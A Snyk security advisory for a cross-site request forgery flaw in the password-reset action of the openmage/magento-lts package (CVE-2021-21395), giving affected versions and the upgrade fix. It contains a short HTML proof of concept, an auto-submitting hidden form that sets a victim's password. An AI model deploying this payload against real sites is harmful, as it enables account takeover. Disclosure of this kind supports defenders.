Cross-site Request Forgery (CSRF) Affecting openmage/magento-lts package, versions <19.4.22 >=20.0.0, <20.0.19
Threat Intelligence
EPSS
0.08% (36th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PHP-OPENMAGEMAGENTOLTS-3249199
- published 27 Jan 2023
- disclosed 26 Jan 2023
- credit xenx
Introduced: 26 Jan 2023
CVE-2021-21395 Open this link in a new tabHow to fix?
Upgrade openmage/magento-lts
to version 19.4.22, 20.0.19 or higher.
Overview
openmage/magento-lts is a This repository is the home of an unofficial community-driven project.
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) in the resetPasswordAction()
function in AccountController.php
. An attacker can change a user's password by convincing them to request a password reset with the "forgot password" feature, and then sending a malicious POST
request before they've set a new password.
PoC
<html>
<body>
<form action="https://demo.openmage.org/customer/account/resetpasswordpost/" method="POST">
<input type="hidden" name="password" value="password123" />
<input type="hidden" name="confirmation" value="password123" />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
References
CVSS Scores
version 3.1